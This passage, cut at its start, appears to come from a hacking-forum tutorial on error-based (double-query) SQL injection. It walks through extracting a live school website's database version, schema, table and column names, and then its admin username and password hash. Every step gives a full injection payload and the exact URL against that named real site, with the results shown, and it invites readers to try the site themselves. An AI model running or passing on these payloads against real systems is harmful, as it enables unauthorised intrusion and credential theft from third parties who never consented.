concat(0x7e,0x27,cast(version() as char),0x27,0x7e)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from
information_schema.tables group by x)a) and 1=1

So our Address will look like this:

Code:
http://www.aliqbalschools.org/index.php?mode=getpagecontent&pageID=21 and(select 1 from(select count(*),concat((select (select concat(0x7e,0x27,cast(version() as char),0x27,0x7e)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1

NOTE(IMPORTANT): Make sure that your queries are very well organized when you execute them, otherwise the browser will return the results as an error.

Results after query execution:

Code:
Duplicate entry '~'5.1.56-log'~1' for key 'group_key


 Database version is 5
You can test on the site now if you want so that you won't get confused

Step2: Getting the Database
Now we've got the version, lets execute a double query on extracting the databaseQuery for Database extraction:

Code:
and(select 1 from(select count(*),concat((select (select (SELECT distinct
concat(0x7e,0x27,cast(schema_name as char),0x27,0x7e) FROM information_schema.schemata LIMIT N,1)) from
information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1


Notice the LIMIT Function again and make sure you don't make mistakes in that
It shows that
Limit N,1 where N is a random integer. Example: Limit 0,1

Code:
http://www.aliqbalschools.org/index.php?mode=getpagecontent&pageID=21 and(select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x7e,0x27,cast(schema_name as char),0x27,0x7e) FROM information_schema.schemata LIMIT 1,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1
Once more, don't forget about the LIMIT Function

So here's the results:

Code:
iqbal_iqbal


Now that's their database.
Note it down on a notepad or a paper
Step3: Getting the Table Names
As I've explained above, we'll be also using the LIMIT Function in this query.
Just a quick look, the query will look like this:

Code:
and(select 1 from(select count(*),concat((select (select (SELECT distinct
concat(0x7e,0x27,cast(table_name as char),0x27,0x7e) FROM information_schema.tables Where
table_schema=0xhex_code_of_database_name LIMIT N,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from
information_schema.tables group by x)a) and 1=1

Alright you need to focus on the code and see the changes.
There are two variables here:
1. Hex_code_databasename
2. LIMIT Function

Obviously, we need to Hex the database name we've just taken into record and add 0x in the beginning i.e. Database= 0xiqbal_iqbal
To convert your database name into hex: http://www.swingnote.com/tools/texttohex.php
Now that you've the database into hex, lets see what our address will look like:

Code:
http://www.aliqbalschools.org/index.php?mode=getpagecontent&pageID=21 and(select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x7e,0x27,cast(table_name as char),0x27,0x7e) FROM information_schema.tables Where table_schema=0x697162616c5f697162616c LIMIT 19,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1

LIMIT 19,1 brings us the valuable table which is "settings"
Review the code and study it

Step4: Getting Column names from specific Tables and Database
Now that we know what we need which are the table (settings) and database (iqbal_iqbal), lets proceed to the next step; column extraction
Here's what the query will look like:
Code:
and(select 1 from(select count(*),concat((select (select (SELECT distinct
concat(0x7e,0x27,cast(column_name as char),0x27,0x7e) FROM information_schema.columns Where
table_schema=0xhex_code_of_database_name AND table_name=0xhex_code_of_table_name LIMIT N,1)) from information_schema.tables
limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1
Now here we have 3 variables:
1. Hex code of Databasename: Hex the database which in our case is (iqbal_iqbal)
2. Hex code of tablename: Hex the table name which is "settings"
3. LIMIT Function
Alright, I'm pretty sure you know what you have to do exactly so I don't need to explain everything again and again.

Here's what the address is gonna look like:
Code:
http://www.aliqbalschools.org/index.php?mode=getpagecontent&pageID=21 and(select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x7e,0x27,cast(column_name as char),0x27,0x7e) FROM information_schema.columns Where table_schema=0x697162616c5f697162616c AND table_name=0x73657474696e6773 LIMIT 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1
Notice the hexed variables and the LIMIT Function
Keep incrementing the LIMIT until you find the valuable columns which in our case is "userName" and "passWord"
Review what we have just done for less confusion
Step5: Getting the Data from the Columns with the help of Table name and Database name
Alright now that we know what we need to extract, lets get our goods
As far as what we're injected in the site, this is our information:
database name: iqbal_iqbal
table name: settings
column names: userName, passWord

Here's what the query will look like first (for extracting data):

Code:
and(select 1 from(select count(*),concat((select (select
(SELECT concat(0x7e,0x27,cast(table_name.column_name as char),0x27,0x7e) FROM `database_name`.table_name LIMIT N,1) ) from
information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1

Variables:
table_name.column_name: Input the table name and column name you want to extract information from

database_name.table_name: Input the database name and table name you want to extract information from

LIMIT Function: Increment until you find the data you need

So here's what our address is gonna look like when we extract details from userName

Code:
http://www.aliqbalschools.org/index.php?mode=getpagecontent&pageID=21 and(select 1 from(select count(*),concat((select (select(SELECT concat(0x7e,0x27,cast(settings.userName as char),0x27,0x7e) FROM `iqbal_iqbal`.settings LIMIT 0,1) ) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1
Output:
Code:
admim

Query for extracting details from passWord

Code:
http://www.aliqbalschools.org/index.php?mode=getpagecontent&pageID=21 and(select 1 from(select count(*),concat((select (select(SELECT concat(0x7e,0x27,cast(settings.passWord as char),0x27,0x7e) FROM `iqbal_iqbal`.settings LIMIT 0,1) ) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1



Output:

 Code:     86f574c1d63d53fa804c13c3213953d9

Username: admin
Password: 86f574c1d63d53fa804c13c3213953d9

Alright I think that's pretty much what you have to know about Error Based/Double Query SQL injection.